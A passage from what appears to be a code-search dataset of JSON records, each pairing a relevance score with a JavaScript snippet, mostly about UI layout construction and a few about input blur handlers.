2,\n i: i.toString(),\n isResizable: false,\n };\n });\n}", "title": "" }, { "docid": "422a2717faaedfceacdb3d93c6e69f05", "score": "0.5215781", "text": "_initLayout() {\r\n // Create Layout\r\n this._el.container = _dom_DOM__WEBPACK_IMPORTED_MODULE_5__[/* create */ \"a\"](\"div\", \"tl-slide\");\r\n\r\n if (this.has.title) {\r\n this._el.container.className = \"tl-slide tl-slide-titleslide\";\r\n }\r\n\r\n if (this.data.unique_id) {\r\n this._el.container.id = this.data.unique_id;\r\n }\r\n this._el.scroll_container = _dom_DOM__WEBPACK_IMPORTED_MODULE_5__[/* create */ \"a\"](\"div\", \"tl-slide-scrollable-container\", this._el.container);\r\n this._el.content_container = _dom_DOM__WEBPACK_IMPORTED_MODULE_5__[/* create */ \"a\"](\"div\", \"tl-slide-content-container\", this._el.scroll_container);\r\n this._el.content = _dom_DOM__WEBPACK_IMPORTED_MODULE_5__[/* create */ \"a\"](\"div\", \"tl-slide-content\", this._el.content_container);\r\n this._el.background = _dom_DOM__WEBPACK_IMPORTED_MODULE_5__[/* create */ \"a\"](\"div\", \"tl-slide-background\", this._el.container);\r\n // Style Slide Background\r\n if (this.data.background) {\r\n if (this.data.background.url) {\r\n var media_type = Object(_media_MediaType__WEBPACK_IMPORTED_MODULE_9__[/* lookupMediaType */ \"a\"])(this.data.background, true);\r\n if (media_type) {\r\n this._background_media = new media_type.cls(this.data.background, { background: 1 });\r\n\r\n this.has.background.image = true;\r\n this._el.container.className += ' tl-full-image-background';\r\n this.has.background.color_value = \"#000\";\r\n this._el.background.style.display = \"block\";\r\n }\r\n }\r\n if (this.data.background.color) {\r\n this.has.background.color = true;\r\n this._el.container.className += ' tl-full-color-background';\r\n this.has.background.color_value = this.data.background.color;\r\n //this._el.container.style.backgroundColor = this.data.background.color;\r\n //this._el.background.style.backgroundColor \t= this.data.background.color;\r\n //this._el.background.style.display \t\t\t= \"block\";\r\n }\r\n if (this.data.background.text_background) {\r\n this._el.container.className += ' tl-text-background';\r\n }\r\n\r\n }\r\n\r\n\r\n\r\n // Determine Assets for layout and loading\r\n if (this.data.media && this.data.media.url && this.data.media.url != \"\") {\r\n this.has.media = true;\r\n }\r\n if (this.data.text && this.data.text.text) {\r\n this.has.text = true;\r\n }\r\n if (this.data.text && this.data.text.headline) {\r\n this.has.headline = true;\r\n }\r\n\r\n // Create Media\r\n if (this.has.media) {\r\n // Determine the media type\r\n this.data.media.mediatype = Object(_media_MediaType__WEBPACK_IMPORTED_MODULE_9__[/* lookupMediaType */ \"a\"])(this.data.media);\r\n this.options.media_name = this.data.media.mediatype.name;\r\n this.options.media_type = this.data.media.mediatype.type;\r\n this.options.autolink = this.data.autolink;\r\n\r\n // Create a media object using the matched class name\r\n this._media = new this.data.media.mediatype.cls(this.data.media, this.options, this.getLanguage());\r\n }\r\n\r\n // Create Text\r\n if (this.has.text || this.has.headline) {\r\n this._text = new _media_Media__WEBPACK_IMPORTED_MODULE_10__[/* Text */ \"b\"](this.data.text, { title: this.has.title, language: this.options.language, autolink: this.data.autolink });\r\n this._text.addDateText(this.getFormattedDate());\r\n }\r\n\r\n\r\n\r\n // Add to DOM\r\n if (!this.has.text && !this.has.headline && this.has.media) {\r\n Object(_dom_DOMUtil__WEBPACK_IMPORTED_MODULE_0__[/* addClass */ \"a\"])(this._el.container, 'tl-slide-media-only');\r\n this._media.addTo(this._el.content);\r\n } else if (this.has.headline && this.has.media && !this.has.text) {\r\n Object(_dom_DOMUtil__WEBPACK_IMPORTED_MODULE_0__[/* addClass */ \"a\"])(this._el.container, 'tl-slide-media-only');\r\n this._text.addTo(this._el.content);\r\n this._media.addTo(this._el.content);\r\n } else if (this.has.text && this.has.media) {\r\n this._media.addTo(this._el.content);\r\n this._text.addTo(this._el.content);\r\n } else if (this.has.text || this.has.headline) {\r\n Object(_dom_DOMUtil__WEBPACK_IMPORTED_MODULE_0__[/* addClass */ \"a\"])(this._el.container, 'tl-slide-text-only');\r\n this._text.addTo(this._el.content);\r\n }\r\n\r\n // Fire event that the slide is loaded\r\n this.onLoaded();\r\n\r\n }", "title": "" }, { "docid": "48bedbca3827062c85f4f4cb0740133b", "score": "0.5208916", "text": "setResolveLayout (context, payload) {\n context.commit('setResolveLayout', payload)\n }", "title": "" }, { "docid": "ed728ccf1a7e31b404f9bbfc37f47f48", "score": "0.52083343", "text": "renderItem(item) {}", "title": "" }, { "docid": "052eb4bc608f9212335f5826b869018d", "score": "0.51836604", "text": "generateLayout(){\n let layout = [];\n\n if(this.state.CRDs.length !== this.state.templates.length) return;\n\n for(let i = 0; i < this.state.CRDs.length; i++) {\n let h = 1;\n let w = 1;\n let x = i;\n let y = 0;\n let s = false;\n let CRDlayout = null;\n if (this.state.layout[this.state.newBr]) {\n CRDlayout = this.state.layout[this.state.newBr].find(item => {return item.i === this.state.CRDs[i].metadata.name})\n }\n /** Stay where I put you even when the layout is regenerated */\n if(CRDlayout){\n x = CRDlayout.x;\n y = CRDlayout.y;\n }\n if(this.state.CRDs[i].height){\n h = this.state.CRDs[i].height;\n }\n if(this.state.CRDs[i].width){\n w = this.state.CRDs[i].width;\n }\n layout.push({\n i: this.state.CRDs[i].metadata.name, x: x, y: y, w: w, h: h, isDraggable: true\n });\n }\n let layouts = this.state.layout;\n layouts[this.state.newBr] = layout;\n this.setState({\n isLoading: false,\n oldBr: this.state.newBr,\n layout: layouts\n });\n }", "title": "" }, { "docid": "95f88b9ba94961f633a56d103445ba39", "score": "0.5179483", "text": "_initLayout() {\r\n // Create Layout\r\n this._el.container = _dom_DOM__WEBPACK_IMPORTED_MODULE_6__[/* create */ \"a\"](\"div\", \"tl-timeera\");\r\n\r\n if (this.end_date) {\r\n this.has_end_date = true;\r\n this._el.container.className = 'tl-timeera tl-timeera-with-end';\r\n }\r\n\r\n this._el.content_container = _dom_DOM__WEBPACK_IMPORTED_MODULE_6__[/* create */ \"a\"](\"div\", \"tl-timeera-content-container\", this._el.container);\r\n\r\n this._el.background = _dom_DOM__WEBPACK_IMPORTED_MODULE_6__[/* create */ \"a\"](\"div\", \"tl-timeera-background\", this._el.content_container);\r\n\r\n this._el.content = _dom_DOM__WEBPACK_IMPORTED_MODULE_6__[/* create */ \"a\"](\"div\", \"tl-timeera-content\", this._el.content_container);\r\n\r\n\r\n\r\n // Text\r\n this._el.text = _dom_DOM__WEBPACK_IMPORTED_MODULE_6__[/* create */ \"a\"](\"div\", \"tl-timeera-text\", this._el.content);\r\n this._text = _dom_DOM__WEBPACK_IMPORTED_MODULE_6__[/* create */ \"a\"](\"h2\", \"tl-headline\", this._el.text);\r\n if (this.headline && this.headline != \"\") {\r\n this._text.innerHTML = Object(_core_Util__WEBPACK_IMPORTED_MODULE_0__[/* unlinkify */ \"E\"])(this.headline);\r\n }\r\n\r\n\r\n\r\n // Fire event that the slide is loaded\r\n this.onLoaded();\r\n\r\n }", "title": "" }, { "docid": "1b1b540fbcb5e49aa37adf9d12bb00b7", "score": "0.5177461", "text": "function layout$1() {\n this.controls.wrap = this.wrap.append('div').attr('class', 'controls');\n\n this.codebookWrap = this.wrap.append('div').attr('class', 'codebookWrap');\n }", "title": "" }, { "docid": "b1c62ccf57dc76c513cff7baa6c0f39b", "score": "0.5149361", "text": "update() {\n throw new Error(\"Don't call this method from the parent layoutInterface class. It must be implemented in the child class\")\n }", "title": "" }, { "docid": "1cff700e073305a73c761983d1f112af", "score": "0.5149196", "text": "static FlipLayoutOnAxis() {}", "title": "" }, { "docid": "846271eaeb48884926585bd7ac1bf037", "score": "0.5130511", "text": "_handleStatic() {\n\t\tlet {layouts} = this.props.crmGridLayout;\n\t\tlet layout = [];\n for (let champ = 0; champ < layouts.lg.length ; champ++) {\n\t\t\tlayout.push({i: layouts.lg[champ].i, x: layouts.lg[champ].x, y: layouts.lg[champ].y,\n\t\t\t\tw: layouts.lg[champ].w, h: layouts.lg[champ].h, minW: layouts.lg[champ].minW, static: true});\n }\n\t\tthis.props.changeLayout({lg: layout, md: layout, sm: layout, xs: layout, xxs: layout});\n }", "title": "" }, { "docid": "c338abef15ee7b5f8a55b11bb6e1407a", "score": "0.5115003", "text": "function listView(myListView, myDataSet){\n myListView.itemCount = myDataSet.length;\n //Define onRowCreate event\n myListView.onRowCreate = function() {\n var myListViewItem = new ListViewItem();\n var myFlexLayout = new FlexLayout({\n id: 103,\n height: 80,\n borderWidth: 1,\n borderRadius: 10,\n justifyContent: FlexLayout.JustifyContent.SPACE_AROUND,\n });\n myListViewItem.addChild(myFlexLayout);\n \n var myLabel1 = new Label({\n id:104,\n text: \"first\",\n visible: true,\n height: 38,\n backgroundColor: Color.GRAY,\n });\n myLabel1.top = 1;\n myFlexLayout.addChild(myLabel1);\n \n var myLabel2 = new Label({\n id: 105,\n text: \"second\",\n visible: true,\n height: 38,\n });\n myLabel1.bottom = 1;\n myFlexLayout.addChild(myLabel2);\n \n return myListViewItem;\n };\n \n //Define onRowBind event\n myListView.onRowBind = function(listViewItem, index) {\n //1. title\n var myLabelTitle1 = listViewItem.findChildById(103);\n var yeni = myLabelTitle1.findChildById(104);\n var titleDegeri = \" Feed Itemno:\";\n titleDegeri += myDataSet[index].litm;\n yeni.text = titleDegeri;\n //2. title\n yeni = myLabelTitle1.findChildById(105);\n titleDegeri = \" Feed Item Desc. :\";\n titleDegeri += myDataSet[index].dsc1;\n yeni.text = titleDegeri;\n };\n \n //Define onRowSelected event\n myListView.onRowSelected = function(listViewItem, index) {\n alert(\"selected index = \" + index);\n };\n \n //Define onPullRefresh event\n myListView.onPullRefresh = function() {\n myListView.itemCount = myDataSet.length;\n myListView.refreshData();\n myListView.stopRefresh();\n };\n//End listView\n}", "title": "" }, { "docid": "c5bd6b6a3240c57914e89ac6c9fb9ca8", "score": "0.51114213", "text": "addView(_v) {\n this.editorLayout.root.contentItems[0].getActiveContentItem().addChild(_v.config);\n }", "title": "" }, { "docid": "3f2bb89184bafa948824525d8d83439a", "score": "0.51106435", "text": "function setLayout(){\n var N = parseFloat(document.getElementById('NController').value);\n var A = parseFloat(document.getElementById('AController').value);\n var L = parseFloat(document.getElementById('LController').value);\n\n const new_layout = {\n width: 450, \"height\": 500,\n margin: {l:30, r:30, t:30, b:30},\n hovermode: \"closest\",\n showlegend: false,\n xaxis: {range: [], zeroline: true, title: \"x\"},\n yaxis: {range: [], zeroline: true, title: \"y\"},\n aspectratio: {x:1, y:1}\n};\n return new_layout;\n}", "title": "" }, { "docid": "673cd053da4376b10d04e5db9cb22f1a", "score": "0.51090324", "text": "function NullLayout(options){this.options=extend({},defaults$e,options);}// runs the layout", "title": "" }, { "docid": "82553cbe4eeed186e5bc99a219d53c80", "score": "0.5099642", "text": "function HLayout(options) {\n\tmod_assert.object(options, 'options');\n\n\tLayout.call(this, 0, options);\n}", "title": "" }, { "docid": "c0436d5cd600e1d71a4c2857ff734b65", "score": "0.5096566", "text": "formLayout() {\n return this.$refs.formLayout;\n }", "title": "" }, { "docid": "06a05cec52e9d4274c23232e876e0890", "score": "0.5092336", "text": "function Layout(props) {\n return (\n <div>\n <Header />\n <Content>{props.children}</Content>\n </div>\n );\n}", "title": "" }, { "docid": "2f6930fb15dd8cd70d3cc9bc1651dc55", "score": "0.5091947", "text": "getId() {\n\t\treturn this.getLayout().getId();\n\t}", "title": "" }, { "docid": "42f24e62022f70ebdf6970ede2357276", "score": "0.5091469", "text": "init() {\n let config = {\n content: [{\n type: \"stack\",\n isClosable: false,\n content: [\n {\n type: \"component\",\n componentName: \"welcome\",\n title: \"Welcome\",\n componentState: {}\n }\n ]\n }]\n };\n this.editorLayout = new GoldenLayout(config); //This might be a problem because it can't use a specific place to put it.\n this.editorLayout.registerComponent(\"welcome\", welcome);\n this.editorLayout.registerComponent(\"View\", registerViewComponent);\n this.editorLayout.init();\n this.editorLayout.root.contentItems[0].on(\"activeContentItemChanged\", this.setActivePanel);\n }", "title": "" }, { "docid": "5ded319479101e66574f442afbf7cb24", "score": "0.50775635", "text": "addItem(name, widget) {\n const layout = this.layout;\n return this.insertItem(layout.widgets.length, name, widget);\n }", "title": "" }, { "docid": "8d9f3a79f0b51b618993fdc303216a9f", "score": "0.50669587", "text": "function Layout(options) {\n /** Initialise the layout\n Pass the scroll container\n */\n this.$scroller = $('.yarr > .body > .content') || $(window);\n var $base = $('.yarr');\n\n // Set options\n this.options = options;\n this.state = options.initialState;\n this.order = options.initialOrder;\n this.urlAll = options.urlAll;\n this.urlFeed = options.urlFeed;\n\n this.displayMode = $base.hasClass('yarr__conf-layout_list') ? MODE_LIST : MODE_EXPANDED;\n\n // Find elements\n this.$sidebar = $('.yarr > .body > .sidebar');\n this.$control = $('.yarr > .control');\n this.$content = $('.yarr > .body > .content');\n\n // Detect values using dummy elements\n var $dummyListItem = $('<div class=\"entry\">&nbsp;</div>')\n .appendTo(this.$content)\n ;\n this.listItemHeight = $dummyListItem.outerHeight();\n $dummyListItem.remove();\n // Initialise related classes\n this.keys = new KeyHandler($(document));\n this.feedList = new FeedList(this, this.$sidebar);\n this.entries = new Entries(this, this.$content.children('.entry'));\n\n // Set up control bar and fixed layout\n this.setupControl();\n\n var thisLayout = this;\n this.$scroller\n .resize(function () { thisLayout.onResize(); })\n .scroll(function () { thisLayout.onScroll(); })\n ;\n\n // Trigger a resize\n this.onResize();\n\n // Initialse history with current state\n this.history = new History(this);\n }", "title": "" }, { "docid": "0dc6d79c6286315ab4d0326275b677f5", "score": "0.5065868", "text": "_addChildNodeToParentNode (parent, child) {\n if (parent instanceof ui.UiScrollView) {\n if (child instanceof ui.UiScrollBar) {\n executor.callNativeAction(parent, 'setScrollBar', child.Orientation, child);\n }\n\n if (child instanceof TransformNode) {\n if (child.offset !== undefined) {\n executor.callNativeAction(parent, 'setScrollContent', child, child.offset);\n } else {\n executor.callNativeAction(parent, 'setScrollContent', child);\n }\n }\n } else if (parent instanceof ui.UiListView) {\n if (child instanceof ui.UiScrollBar) {\n executor.callNativeAction(parent, 'setScrollBar', child);\n }\n if (child instanceof ui.UiListViewItem) {\n const { Padding, ItemAlignment } = child;\n if (Padding !== undefined) {\n if (ItemAlignment !== undefined) {\n executor.callNativeAction(parent, 'addItem', child, Padding, ItemAlignment);\n } else {\n executor.callNativeAction(parent, 'addItem', child, Padding);\n }\n } else {\n executor.callNativeAction(parent, 'addItem', child);\n }\n }\n } else if (parent instanceof ui.UiLinearLayout || parent instanceof ui.UiGridLayout) {\n const { padding, itemAlignment } = child;\n if (padding !== undefined) {\n if (itemAlignment !== undefined) {\n executor.callNativeAction(parent, 'addItem', child, padding, itemAlignment);\n } else {\n executor.callNativeAction(parent, 'addItem', child, padding);\n parent.mxsSetItemAlignment(parent.getItemCount() - 1);\n }\n } else {\n executor.callNativeAction(parent, 'addItem', child);\n\n // Should set the alignment and padding after adding items completes !\n const index = executor.callNativeFunction(parent, 'getItemCount') - 1;\n parent.mxsSetItemAlignment(index);\n parent.mxsSetItemPadding(index);\n }\n } else if (parent instanceof ui.UiSlider) {\n if (child instanceof TransformNode) {\n if (child.offset !== undefined) {\n executor.callNativeAction(parent, 'setSliderModel', child, child.offset);\n } else {\n executor.callNativeAction(parent, 'setSliderModel', child);\n }\n }\n } else if (parent instanceof ui.UiRectLayout) {\n if (child instanceof TransformNode) {\n executor.callNativeAction(parent, 'setContent', child);\n }\n } else if (parent instanceof ui.UiDropDownList) {\n if (child instanceof TransformNode) {\n if (child.offset !== undefined) {\n executor.callNativeAction(parent, 'setButtonModel', child, child.offset);\n } else {\n executor.callNativeAction(parent, 'setButtonModel', child);\n }\n }\n if (child instanceof ui.DropDownListItem) {\n const list = [...parent.getList()];\n list.push(child);\n executor.callNativeAction(parent, 'setList', list);\n if (parent.showListItems) {\n executor.callNativeAction(parent, 'showList', parent.showListItems);\n }\n }\n // ListFont: Font2dResource(fontDesc, fontFile, a_absolutePath)\n // fontDesc = Font2dDesc(advanceDir, flowDir, tileSize, quality, minAlpha)\n } else if (parent instanceof ui.UiDialog) {\n if (child instanceof TransformNode) {\n executor.callNativeAction(parent, 'setDialogContent', child);\n executor.callNativeAction(parent, 'init');\n }\n } else if (parent instanceof ui.UiToggle) {\n if (child instanceof TransformNode) {\n if (child.offset !== undefined) {\n executor.callNativeAction(parent, 'setToggleModel', child, child.offset);\n } else {\n executor.callNativeAction(parent, 'setToggleModel', child);\n }\n }\n } else if (parent instanceof ui.UiPanel) {\n if (child instanceof ui.UiPanel) {\n if (child.side !== undefined) {\n executor.callNativeAction(parent, 'setEdgeTransition', child.side, child);\n }\n } else {\n executor.callNativeAction(parent, 'addChild', child);\n }\n } else if (parent instanceof ui.UiPortalIcon) {\n if (child instanceof ModelNode) {\n executor.callNativeAction(parent, 'setIconModel', child, child.offset);\n } else if (child instanceof TransformNode) {\n executor.callNativeAction(parent, 'setBackgroundModel', child, child.offset);\n }\n } else if (parent instanceof ui.UiButton) {\n if (child instanceof TransformNode) {\n if (child.offset !== undefined) {\n executor.callNativeAction(parent, 'setButtonModel', child, child.offset);\n } else {\n executor.callNativeAction(parent, 'setButtonModel', child);\n }\n }\n } else if (parent instanceof ui.UiPageView) {\n if (child instanceof TransformNode) {\n const { padding, itemAlignment } = child;\n if (padding !== undefined) {\n if (itemAlignment !== undefined) {\n executor.callNativeAction(parent, 'addPage', child, padding, itemAlignment);\n } else {\n executor.callNativeAction(parent, 'addPage', child, padding);\n }\n } else {\n executor.callNativeAction(parent, 'addPage', child);\n }\n }\n } else {\n executor.callNativeAction(parent, 'addChild', child);\n }\n }", "title": "" }, { "docid": "630d4c8db3f7458895f97a588252b6c3", "score": "0.50592184", "text": "function getLayout(reattivo, annotazioni) {\r\n let tema = document.getElementById(\"tema\");\r\n let titolo = reattivo.titolo;\r\n let margin = {l: 80, r: 5, b: 45, t: 50};\r\n let layout = {\r\n paper_bgcolor: 'white', plot_bgcolor: \"white\", //'#eeeeee',\r\n title: {\r\n text: titolo,\r\n font: {family: \"Raleway, Helvetica, sans-serif\", size: 28, color: \"black\"},\r\n x: 0.01, y: 0.977},\r\n margin: margin,\r\n xaxis: {\r\n title: reattivo.titolox, titlefont: {color: \"black\"},\r\n gridcolor: \"lightgray\", gridwidth: 0.05,\r\n showticklabels: true, tickangle: 0,\r\n tickfont: {color: 'black'}, ticksuffix: reattivo.xsuffix},\r\n yaxis: {\r\n title: {text: \"\", standoff: 20}, titlefont: {color: \"black\"},\r\n linecolor: 'lightgray', linewidth: 0.05,\r\n showticklabels: true, tickangle: 0,\r\n tickfont: {color: 'black'}, tickprefix:\"Anno \", showtickprefix:\"last\", ticksuffix: \" \", showticksuffix: \"all\",\r\n type:'category', autorange:'reversed'},\r\n annotations : annotazioni}\r\n\r\n if (tema && tema.href.includes(\"dark\")) {\r\n layout.paper_bgcolor = \"#404040\";\r\n layout.plot_bgcolor = '#404040';\r\n layout.title.font.color = \"lightgray\";\r\n layout.xaxis.titlefont.color = \"lightgray\";\r\n layout.xaxis.tickfont.color = \"lightgray\";\r\n layout.yaxis.titlefont.color = \"lightgray\";\r\n layout.yaxis.tickfont.color = \"lightgray\";\r\n }\r\n return layout;\r\n}", "title": "" }, { "docid": "cb325d52d394c36d6d40e33d1668acb5", "score": "0.5055952", "text": "function getLayout(id) {\n\t\t\tlogixwareDashboard.log(\"entering getLayout function\", 1);\n\t\t\tvar r = null;\n\t\t\tvar first = null;\n\t\t\tif ( typeof opts.layouts != \"undefined\") {\n\t\t\t\t$.each(opts.layouts, function(i, item) {\n\t\t\t\t\tif (i == 0) {\n\t\t\t\t\t\tfirst = item;\n\t\t\t\t\t}\n\t\t\t\t\tif (item.id == id) {\n\t\t\t\t\t\tr = item;\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\t\t\tif (r == null) {\n\t\t\t\tr = first;\n\t\t\t}\n\t\t\treturn r;\n\t\t}", "title": "" }, { "docid": "5063bf7693cf1ad8f4024c4b2c364ecc", "score": "0.5048739", "text": "get layoutMode() {\n return this._.layoutMode\n }", "title": "" }, { "docid": "39b7def92238c426a67c0ed319f99285", "score": "0.5043097", "text": "relayout() {\n this.cy.layout(this.cy.data('layout_options')).run();\n }", "title": "" }, { "docid": "cf945a5d3467651da126d96adfdcfc09", "score": "0.50421894", "text": "_layout() {\n this.$element.addClass(this._categoryClassName);\n\n return this;\n }", "title": "" }, { "docid": "9cab7aa5fc246e021079c80d820dd956", "score": "0.5038891", "text": "function adaptor(options) {\r\n return new LayoutAdaptor(options);\r\n }", "title": "" }, { "docid": "386408dc374582418687c2c49f0ebbf5", "score": "0.50380534", "text": "function NewsView() {\n return (\n <Layout>\n <News />\n </Layout>\n );\n}", "title": "" }, { "docid": "b430045fd46ef89e3dcd9777e4807600", "score": "0.5028676", "text": "function Layout() {\n this.regions = {};\n }", "title": "" }, { "docid": "0333f699de6ee9991b1233d3b54d7587", "score": "0.5023306", "text": "function AppLayoutEvent() {\n\n this.super = LayoutEvent;\n this.super();\n\n this.getName = function () {\n return \"AppLayoutEvent\";\n }\n}", "title": "" }, { "docid": "1d0ba387971145928d92216045ace645", "score": "0.5020771", "text": "function setLayout($el, layout, opts, _tq){\n\t\t//check direction configure to setup flex-flow\n\t\tvar _flow = (($.isArray(opts.dir) ? opts.dir[0] : opts.dir) === 'v') ? 'row' : 'column';\n\t\t//setup flex parameters\n\t\t$el.css({display: 'flex', 'flex-flow': _flow, 'justify-content': $.fn.flexLayout.flexConfig['justify-content']});\n\t\t//go through layout array\n\t\t$.each(layout, function(index, config){\n\t\t\t\t//get size\n\t\t\tvar _dimension = $.isArray(config) ? config[0].split(':')[0] : config.split(':')[0],\n\t\t\t\t//check whether fixed or flexible\n\t\t\t\t_style = /(px|em)/.test(_dimension) ? 'style = \"flex: 0 0 ' + _dimension + ';\" ' : 'style=\"flex: ' + _dimension + ' 1 0;\" ', \n\t\t\t\t//check attributes\n\t\t\t\t_attribute = $.isArray(config) ? trimAttr(config[0].split(':')[1]) : trimAttr(config.split(':')[1]),\n\t\t\t\t//make block object\n\t\t\t\t_$block = $('<div ' + _style + _attribute + '></div>'),\n\t\t\t\t//save a copy of arrays, it might be multiple same level of blocks; therefore do not 'shift' on original array\n\t\t\t\t_adjust = $.isArray(opts.adjust) ? opts.adjust.slice() : opts.adjust, //use Array.slice() to copy an original array\n\t\t\t\t_bars = $.isArray(opts.bars) ? opts.bars.slice() : opts.bars,\n\t\t\t\t_dir = $.isArray(opts.dir) ? opts.dir.slice() : opts.dir;\n\t\t\t//append block\n\t\t\t_$block.appendTo($el);\n\t\t\t//insert bars if bar is true or adjustable is true\n\t\t\tif( (($.isArray(_bars) ? _bars[0] : _bars) || ($.isArray(_adjust) ? _adjust[0] : _adjust)) && index < layout.length - 1){\n\t\t\t\tvar _barstyle = trimBarStyle($el, ($.isArray(_bars) ? _bars[0] : _bars)), //trim/fetch barstyle for later use, {}\n\t\t\t\t\t//bar object for later use, if necessary\n\t\t\t\t\t_$bar = $('<div ' + _barstyle + '></div>');\n\t\t\t\t//append bar\n\t\t\t\t_$bar.appendTo($el);\n\t\t\t\t//check whether adjustable is true or not\n\t\t\t\tif($.isArray(_adjust) ? _adjust[0] : _adjust && !/(px|em|%)/.test(_dimension)){//adjust is true and not fixed height/width\n\t\t\t\t\t//register events on bars\n\t\t\t\t\tregisterResize(_$bar, $.isArray(_dir) ? _dir[0] : _dir, layout[index + 1]);\n\t\t\t\t}\n\t\t\t}\n\t\t\t//multi-layer layout, push next layer into task que\n\t\t\tif($.isArray(config)){\n\t\t\t\t_tq.push({\n\t\t\t\t\t$element: _$block,\n\t\t\t\t\tlayout: config[1],\n\t\t\t\t\toptions: {\n\t\t\t\t\t\tdir: \t(function(){//if array return shifted, if not switch direction\n\t\t\t\t\t\t\t\t\tif($.isArray(_dir)) {_dir.shift(); return _dir[0];}\n\t\t\t\t\t\t\t\t\telse{ return (_dir === 'v') ? 'h' : 'v'; }\n\t\t\t\t\t\t\t\t})(),\n\t\t\t\t\t\tadjust: (function(){//if array return shifted\n\t\t\t\t\t\t\t\t\tif($.isArray(_adjust)) {\n\t\t\t\t\t\t\t\t\t\t_adjust.shift();\n\t\t\t\t\t\t\t\t\t\tif(!_adjust.length) _adjust = $.fn.flexLayout.defaults.options.adjust;//in case the given array is shorter\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\treturn _adjust;\n\t\t\t\t\t\t\t\t})(),\n\t\t\t\t\t\tbars: \t(function(){//if array return shifted\n\t\t\t\t\t\t\t\t\tif($.isArray(_bars)) {\n\t\t\t\t\t\t\t\t\t\t_bars.shift();\n\t\t\t\t\t\t\t\t\t\tif(!_bars.length) _bars = $.fn.flexLayout.defaults.options.bars;//in case the given array is shorter\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\treturn _bars;\n\t\t\t\t\t\t\t\t})()\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\t\t});\n\t\t//remove the current finished task\n\t\t_tq.shift();\n\t}", "title": "" }, { "docid": "aa7bb4269271f797931d838b38362930", "score": "0.5012153", "text": "function do_scroll_item_begin(scroll_uiid, i) {\n //var layout_parent = ui.layout_peek();\n //console.log(layout_parent);\n //var layout = ui.layout_push(_vertical);\n var scroll = ui.get_state(scroll_uiid);\n scroll.translate_y = i * scroll.row_height;\n scroll.widget_y1 = scroll.rect.y + scroll.translate_y - scroll.scroll_value;\n scroll.widget_y2 = scroll.widget_y1 + scroll.row_height;\n\n //const peek = ui.layout_peek();\n\n // im emulating the layout here, because i know it is vertical... (TODO: LATER: FIXERINO)\n //peek.y -= scroll.partial_item; // this handles the offset of every item...\n //console.log(layout);\n //}\n}", "title": "" }, { "docid": "740209d15e329df9ba438c8951ab90cd", "score": "0.5009784", "text": "[_setChildNeedsLayout]() {\n // Save a bookmark before the layout starts, so that we can replace the scroll position\n // at the same element after the layout is done.\n this[_savedLayoutBookmark] = this[_computeBookmark]();\n this[_childNeedsLayout] = true;\n this.refresh();\n }", "title": "" }, { "docid": "127fff287b24a146552e8042f0a80efb", "score": "0.500209", "text": "function Component_LayoutBehavior() {\n\n /**\n * Content size of the layout.\n * @property contentSize\n * @type gs.Size\n * @readOnly\n */\n this.contentSize = {\n width: 0,\n height: 0\n };\n }", "title": "" }, { "docid": "2f534f736e8709022a61dbf974ce6a56", "score": "0.4997563", "text": "function DagreLayout(options) {\n this.options = assign({}, defaults, options);\n}", "title": "" }, { "docid": "7e8c0db10af3aee8ede45a81474d3507", "score": "0.49965793", "text": "function Layout(props) {\n // const children = props.children;\n return (\n //React.Fragment permite hacer las inserciones de los elementos que devuelve react\n //en lugar de devolver div contenedores vacios\n <React.Fragment>\n <Navbar />\n {props.children}\n </React.Fragment>\n );\n}", "title": "" }, { "docid": "9a24946a8c30094cf5eb5154a3a569d9", "score": "0.49930745", "text": "function addLayoutToRoute( route, parentLayout = \"default\" )\n{\n\troute.meta = route.meta || {} ;\n\troute.meta.layout = route.layout || parentLayout ;\n\t\n\tif( route.children )\n\t{\n\t\troute.children = route.children.map( ( childRoute ) => addLayoutToRoute( childRoute, route.meta.layout ) ) ;\n\t}\n\treturn route ;\n}", "title": "" } ]
7b7d641d3e353aeab24da0a029fe6c8d
On blur callback will reset the component to previous value.
[ { "docid": "74e9ed60894eb459b02eeb762aaf0943", "score": "0.65987647", "text": "_onBlur(event) {\n this.setState({\n focused: false\n });\n if(!this.props.disabled) {\n this._resetComponent();\n }\n if (this.props.onBlur) {\n this.props.onBlur(event);\n }\n }", "title": "" } ]
[ { "docid": "d386c93fbc157c8d76a5b60d696e07f9", "score": "0.7537197", "text": "handleBlur() {\n // Cancel value checking on blur\n clearInterval(this.valueChecker)\n }", "title": "" }, { "docid": "618b985f789b50a5f5aa87fd6472043a", "score": "0.7367976", "text": "function onBlurInput() {\n ctrl.inputFocused = false;\n onCurrentValueChange();\n }", "title": "" }, { "docid": "c011ec7a28596cdb8ccd376b105adddf", "score": "0.7342753", "text": "handleBlur() {\n this.finishUpdate();\n }", "title": "" }, { "docid": "c9d793b8ce3d451d7691850b897ca12f", "score": "0.7309643", "text": "blur() {\n if (!this._focused) return;\n // this._base.remove(this._subs[this._index]);\n this._mountAll();\n this._focused = false;\n }", "title": "" }, { "docid": "6951f08ee17ce869fb049169f3d535d1", "score": "0.73042387", "text": "blur() {\n this.inputRef.current.blur();\n }", "title": "" }, { "docid": "6951f08ee17ce869fb049169f3d535d1", "score": "0.73042387", "text": "blur() {\n this.inputRef.current.blur();\n }", "title": "" }, { "docid": "0291c0f9d28bf9b216ae81556f584e31", "score": "0.7273289", "text": "@api\n blur() {\n this.input.blur();\n }", "title": "" }, { "docid": "84028a1fe694346db21ae7cc26ade95c", "score": "0.7252926", "text": "blur() {\n this.inputRef.current && this.inputRef.current.blur();\n }", "title": "" }, { "docid": "6140fcdd0cd4226cd0e66be07f271938", "score": "0.7144113", "text": "blur() {\n\t this.control_input.blur();\n\t this.onBlur();\n\t }", "title": "" }, { "docid": "239090782ca6f0c999937cdd4dc3f4d8", "score": "0.71254027", "text": "@api\n blur() {\n if (this.connected) {\n this.getBaseComboboxElement().blur();\n }\n }", "title": "" }, { "docid": "8c7ac63651269d9f07cd7915a60fcaf9", "score": "0.71219194", "text": "notifyBlur() {\n this.emit('blur', this.currentItem);\n this.emit('focusChanged', null, this.currentItem);\n this.currentItem = null;\n }", "title": "" }, { "docid": "b05d72043104f4396dd564a825647f62", "score": "0.7094751", "text": "blur() {\n if (!this._isFocused) {\n return;\n }\n this.focusController.notifyBlur();\n this._isFocused = false;\n this.clearEvents();\n this.emit('focusChanged', false);\n this.emit('blur');\n }", "title": "" }, { "docid": "92593ba16fcd8177bdd8190e576374ca", "score": "0.7045582", "text": "function blur() {\n this.hasFocus = false;\n }", "title": 